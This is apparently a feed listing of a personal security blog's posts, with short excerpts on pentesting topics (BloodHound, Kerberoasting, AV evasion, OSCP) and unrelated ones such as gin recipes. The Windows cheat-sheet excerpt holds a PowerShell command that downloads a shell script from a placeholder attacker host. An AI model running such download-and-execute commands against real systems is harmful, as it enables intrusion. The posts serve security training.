https://gkourgkoutas.net/en/ Recent content on gkourgkoutas.net Hugo -- gohugo.io Wed, 03 Apr 2024 15:50:59 +0900 https://gkourgkoutas.net/en/math/ Thu, 01 May 2025 00:00:00 +0000 https://gkourgkoutas.net/en/math/ Useful So far, I have only found a handful of (in my opinion) useful websites where you can refresh and/or expand your math skills: In English: Math Academy In German: Mathematik Alpha OMB+ In my opinion, these three websites are particularly suitable for parents who want to take on a large part of their children’s home schooling. Textbooks The works of Friedrich Barth and his co-authors1 are listed below. https://gkourgkoutas.net/en/posts/xz/ Wed, 03 Apr 2024 15:50:59 +0900 https://gkourgkoutas.net/en/posts/xz/ For various reasons I wasn’t able to write a summary for 2023. But if I had known then what to expect in 2024 with the current xz/liblzma1, I would have written a modified version of Wilhelm Hey’s “Alle Jahre wieder”2 instead of the recap. As for the vulnerability itself, there are already a number of blogs on the subject, the best known being by Evan Boehs3 and Bruce Schneier4. My two cents? https://gkourgkoutas.net/en/documents/ Mon, 01 Jan 2024 00:00:00 +0000 https://gkourgkoutas.net/en/documents/ Imagine relying solely on the official NIST website for essential documentation, only to find it temporarily unavailable due to maintenance, technical glitches, or unforeseen circumstances. To mitigate such risks, I’m hosting NIST, BSI and other types of documentation independently here. Documents last updated: 8. May 2026 SP Series Description MD5 Checksum Download NIST 800-30 Guide for Conducting Risk Assessments ea280cb44706e04b0c7392d8e5c8ccb3 NIST.SP.800-30r1.pdf NIST 800-34 Contingency Planning Guide for Information Technology Systems 4086cebd881a90b19d97204c27f47130 NIST. https://gkourgkoutas.net/en/support/ Mon, 01 Jan 2024 00:00:00 +0000 https://gkourgkoutas.net/en/support/ I would like to use this page to highlight some projects that I personally like and support, in no particular order. Social projects: When it comes to social projects, I find that donating directly to an organisation you trust is the best way to help, if only for the transparency and peace of mind that you have made a difference and/or that your donation is reaching the recipient. Mirai no Mori https://mirai-no-mori. https://gkourgkoutas.net/en/posts/offensivegpt/ Mon, 16 Oct 2023 20:04:56 +0200 https://gkourgkoutas.net/en/posts/offensivegpt/ Recently I have been asked a lot about AI-related topics and what I think about them. Some time ago I wrote a blog post about chatGPT and it’s view on OT security (ChatGPT on Cyber Security). Of course, the hype around AI hasn’t stopped since then, and we still seem to be on the hype train, with new information flooding social media every week. My conclusion at that time was the following: https://gkourgkoutas.net/en/posts/sec-hardships/ Wed, 26 Jul 2023 09:08:52 +0200 https://gkourgkoutas.net/en/posts/sec-hardships/ In today’s digital age, where data breaches and cyber attacks have become all too common, ensuring robust cybersecurity measures is crucial for the survival and reputation of any company. However, despite the growing awareness and the staggering costs associated with breaches, many organizations continue to struggle in establishing effective cybersecurity frameworks. So, why is it so hard for companies to have good cybersecurity in place? This blog post highlights some of the complex challenges that businesses face when it comes to safeguarding their digital assets. https://gkourgkoutas.net/en/posts/public-wifi/ Fri, 06 Jan 2023 21:30:11 +0100 https://gkourgkoutas.net/en/posts/public-wifi/ 2023 is here and the thought about writing some best practices about “Staying Safe on Public WiFi” strucked me while connected to a public WiFi. As convenient as it is to connect to free public WiFi when we’re on the go, it’s important to remember that these networks can also be a security risk. Hackers and cybercriminals often target public WiFi networks because they are more vulnerable to attacks. Here are some tips for staying safe on public WiFi. https://gkourgkoutas.net/en/posts/recap-2022/ Wed, 28 Dec 2022 13:25:59 +0100 https://gkourgkoutas.net/en/posts/recap-2022/ The year 2022 is coming to it’s end and since I got some spare time, might as well write my personal recap. log4j and ransomeware When log4j got public attention in the beginning of 2022 (altough it got discovered in the end of 2021) the IT world was in panic and patch mode. Administrators worked overtime and Security Professionals had their hands full with consultancy and a lot of mail + paperwork. https://gkourgkoutas.net/en/legal/ Wed, 28 Dec 2022 13:12:39 +0100 https://gkourgkoutas.net/en/legal/ Information pursuant to Section 5 of the German Telemedia Act (TMG) and the party responsible for content pursuant to Section 18(2) of the German Media Services State Treaty (MStV): Ioannis Gkourgkoutas Contact E-Mail: info@gkourgkoutas.net https://gkourgkoutas.net/en/privacy/ Wed, 28 Dec 2022 13:09:47 +0100 https://gkourgkoutas.net/en/privacy/ Privacy notice This website is purely static HTML pages, which have no other features except for the display of text and graphics. No log files, IP addresses or cookies are stored. You will not find Google Analytics, tracking, advertising or similar here either. As an expert in the field of information and cyber security, I also have an interest and obligation to take data protection and privacy seriously. Technical Information https://gkourgkoutas.net/en/posts/redteam/ Sat, 17 Dec 2022 20:14:44 +0100 https://gkourgkoutas.net/en/posts/redteam/ What is a red team? A red team is a group of individuals who use their skills and expertise to challenge and test the effectiveness of an organization’s plans, processes, and systems. The term “red team” comes from the concept of “red teaming” which is a form of structured, independent analysis and evaluation that is designed to identify weaknesses and vulnerabilities in an organization’s plans, systems, and operations. Red teams are typically composed of experts in a variety of fields, including security, engineering, risk management, and operations. https://gkourgkoutas.net/en/posts/chatgpt/ Sun, 11 Dec 2022 18:19:00 +0200 https://gkourgkoutas.net/en/posts/chatgpt/ There is always the year of “X”, like the year of the linux desktop :P And it seems that 2022 is the year of stable diffusion1 and openAI. After This introduction, the following sections are based on the output of ChatGPT2, or as I like to call it: ChaDGPT. It’s capabilities are more than impressive, but see for yourself… What is AI? Artificial intelligence (AI) has its roots in the field of computer science, which emerged in the 1940s. https://gkourgkoutas.net/en/posts/tiber/ Sat, 05 Nov 2022 20:07:22 +0100 https://gkourgkoutas.net/en/posts/tiber/ TIBER1 (Threat Intelligence-Based Ethical Red Teaming) is a framework to assess the cybersecurity resilience of financial institutions. TIBER tests are designed to simulate real-world cyber threats and attacks, and are intended to help financial institutions identify and address weaknesses in their cybersecurity posture. A quick how to Here are some general guidelines for how TIBER tests can be best executed: Identify the scope of the test: TIBER tests should be focused on a specific aspect of an organization’s cybersecurity posture, such as its network, applications, or processes. https://gkourgkoutas.net/en/posts/cleanup/ Sat, 03 Sep 2022 19:53:00 +0200 https://gkourgkoutas.net/en/posts/cleanup/ Although it’s just September yet, it feels like the year is almost over with all the stuff there is to do. The CISSP with 90 days left until the exam is almost around the corner and a lot of other private stuff is still in the making. Cleaning, Clearing, Erasing, Purging, Degaussing and Destruction The thought for this blogpost originated when I put my old server racks in the car for destruction. https://gkourgkoutas.net/en/posts/on-cloud/ Tue, 01 Mar 2022 01:02:00 +0200 https://gkourgkoutas.net/en/posts/on-cloud/ While flying through some clouds and on my way to enjoy some holidays on the other side of the globe, the thought about the current status on cloud environments is keeping me awake. “It feels like cloud security is still in it’s infancy!?”, “How long did it actually take, to get to the current status on On-premise AD security?”, “What’s the current status on cloud environments?”, “How long did it take to get to this state? https://gkourgkoutas.net/en/posts/bloodhound-part-2/ Mon, 15 Nov 2021 18:37:00 +0100 https://gkourgkoutas.net/en/posts/bloodhound-part-2/ The first part of my BloodHound post was about the setup and usage of the tool. This part will mainly focous on the built-in queries and some small tips and tricks. I think the only way to fully grasp BloodHound is by frequently using it. Built-in queries After dumping our raw data with SharpHound1, it’s time to get to work. BH has some built-in queries which helps us to get a quick overview of the domain we are facing. https://gkourgkoutas.net/en/posts/av-evasion/ Wed, 28 Jul 2021 10:10:16 +0200 https://gkourgkoutas.net/en/posts/av-evasion/ A lot of organizations and companies run antivirus software on their users clients. Users should be protected from themselves by preventing the execution of .exe files or scripts. Through GPOs and standard tools of the OS, this can be achieved. In this post we’ll be mainly talking about how to bypass tools like AMSI1 and Windows Defender. Antivirus Software The first AV software originated back in 1972. Since the first known Virus was the so called “Creeper Virus”2, Ray Tomlinson used to write the “Reaper”3, a program to remove it. https://gkourgkoutas.net/en/posts/oscp/ Sat, 01 May 2021 11:18:05 +0200 https://gkourgkoutas.net/en/posts/oscp/ There are tons of writeups on the internet from people who completed their OSCP certification, and I guess most of them are written better than this version. But anyway… Let’s jump in. Lab As soon as you get access to the lab, you will notice a lot of machines and different networks, which you can’t access at first. There is a so called learning path1, which suggests a few easy, medium and hard machines and their respective IP addresses. https://gkourgkoutas.net/en/posts/windows-cheats/ Mon, 22 Mar 2021 19:21:03 +0100 https://gkourgkoutas.net/en/posts/windows-cheats/ So this is the windows equivalent of my post about linux cheatsheets. A lot of the following commands are from labs, cheatsheets, writeups, from friends and colleagues, trial and error and also copied from famous places like hacktricks and ired.team. I also have grepable cheatsheets to download on my GitHub. Powershell Download from remote Webserver PS> Invoke-WebRequest -Uri "http://<ip>:<port>/shell.ps1." -OutFile "C:\path\file" With the following command, Powershell downloads the file and executes it immediately https://gkourgkoutas.net/en/posts/linux-cheats/ Sun, 21 Mar 2021 20:01:41 +0100 https://gkourgkoutas.net/en/posts/linux-cheats/ Writing a full hands-on of BloodHound takes more time than I thought, hence Part II is going to be delayed until I’m fully satisfied with the results. Thus I thought I will share some of my Linux cheats which I use (mostly for enumeration and privilege escalation stuff). A lot of the following commands are from labs, cheatsheets, writeups, from friends and colleagues, trial and error and also copied from famous places like hacktricks and ired. https://gkourgkoutas.net/en/posts/bloodhound-part-1/ Sat, 20 Mar 2021 11:53:00 +0100 https://gkourgkoutas.net/en/posts/bloodhound-part-1/ What is BloodHound? BloodHound is a single page Javascript web application, built on top of Linkurious, compiled with Electron, with a Neo4j database fed by a PowerShell ingestor. BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory environment. Attackers can use BloodHound to easily identify highly complex attack paths that would otherwise be impossible to quickly identify. Defenders can use BloodHound to identify and eliminate those same attack paths. https://gkourgkoutas.net/en/posts/windows-hashes/ Fri, 19 Mar 2021 23:35:18 +0100 https://gkourgkoutas.net/en/posts/windows-hashes/ All the different types of Windows hashes can be confusing sometimes. So to clear thinks up a little bit, I wrote some Key points to help understand what most of the stuff like LM, NTLM and DCC is all about. An excellent writeup for NTLM relaying1 is from byt3bl33d3r. All the other sources2 3 4 can be found in the footnotes. Hash types LM Hashes5 Since OS/2 (ca. 1980) in use Limited character set - everything is an CAPS and a 7 char character-limit When hashing, the PW is padded to 14 characters with zeros and encrypted with DES Very easily crackable - found only in exceptions in NTDS. https://gkourgkoutas.net/en/posts/kerberoasting/ Thu, 11 Mar 2021 19:56:21 +0100 https://gkourgkoutas.net/en/posts/kerberoasting/ Definition: Kerberos Kerberos (/ˈkɜːrbərɒs/) is a computer-network authentication protocol that works on the basis of tickets to allow nodes communicating over a non-secure network to prove their identity to one another in a secure manner.1 There is also the MIT version of Kerberos, but it’s slightly different than the Microsoft2 implementation.3 Kerberos is also the three headed dog who guards the entrance to the underworld in greek mythology.4 https://gkourgkoutas.net/en/posts/1mb-club/ Sat, 19 Dec 2020 11:43:02 +0100 https://gkourgkoutas.net/en/posts/1mb-club/ Making the web less bloated So recently I found a website called 1MB Club, where people’s websites are listed which are less than 1MB in size. I realy liked the idea of the website because I found likeminded people, who love to build sites, which don’t burden your bandwith. Make sure to check out bradleytaunt’s Github Page. Only people who lived through ISDN and/or a bandwith of 57KiB/s know what it feels like, when you have to download a file/program which is bigger than 25MB. https://gkourgkoutas.net/en/posts/passwords/ Fri, 06 Nov 2020 21:33:59 +0100 https://gkourgkoutas.net/en/posts/passwords/ It’s rather bad than complex A lot of users1 always choose their passwords based on the same criteria: They use the same password for every service password reuse They use a combination of username + year of birth user95 The classic par excellence: season + year Winter2020 With common password lists, these kind of passwords can be found out in seconds. Even if they’re hashed, cracking them with tools like Hashcat2 in combination with rule based lists3 and potent hardware is not a big effort. https://gkourgkoutas.net/en/posts/virus/ Sat, 17 Oct 2020 19:35:19 +0100 https://gkourgkoutas.net/en/posts/virus/ And I’m not talking about the Corona one here. Definition A computer virus is a type of malicious software program (“malware”) that, when executed, replicates itself by modifying other computer programs and inserting its own code. Infected computer programs can include as well, data files, or the “boot” sector of the hard drive. When this replication succeeds, the affected areas are then said to be “infected” with a computer virus. https://gkourgkoutas.net/en/posts/recon/ Fri, 19 Jun 2020 21:00:59 +0100 https://gkourgkoutas.net/en/posts/recon/ Footprinting Footprinting; often simply called recon (short for reconnaissance) is the uninteresting part for some people when it comes to attacking systems. Many want to start exploiting as soon as possible, if not looting or post exploitation. Well those parts are certainly the best if a target is compromised… BUT: The pre-attack phase is crucial for a successful attack. What is essential for good reconing? Much patience and above all thorough work! https://gkourgkoutas.net/en/posts/gin-recipies/ Sun, 24 May 2020 14:45:48 +0100 https://gkourgkoutas.net/en/posts/gin-recipies/ There are different ways to drink and mix gin. Mixing ratios vary from 1:1 - 1:4 depending on taste. some combinations require ice cubes, others require gin at room temperature or a pre-cooled glass. General preparation pour gin into a glass add tonic water. It is best to open the tonic bottle just before pouring, so that as little carbon dioxide is lost as possible. add ice cubes (optional) place fruits/herbs in the glass mix carefully with a cocktail stick or similar ROKU Gin This gin has a mild taste of cherry blossoms and fruits. https://gkourgkoutas.net/en/contact/ Mon, 17 Feb 2020 19:02:45 +0100 https://gkourgkoutas.net/en/contact/ Business & Contact For details about my daily rates and scope of service, please contact me via email: info@gkourgkoutas.net Encrypted email If you whish to use email encryption, you can use the following GPG key: pub rsa4096 2021-03-11 [SC] [expires: 2028-05-15] 5EF49B59E579CB3FD33779ACBED7977009FBA18E uid Ioannis Gkourgkoutas <info@gkourgkoutas.net> sub rsa4096 2021-03-11 [E] [expires: 2028-05-15] You can also use the following shell command to download the key: gpg --recv-keys 0x09FBA18E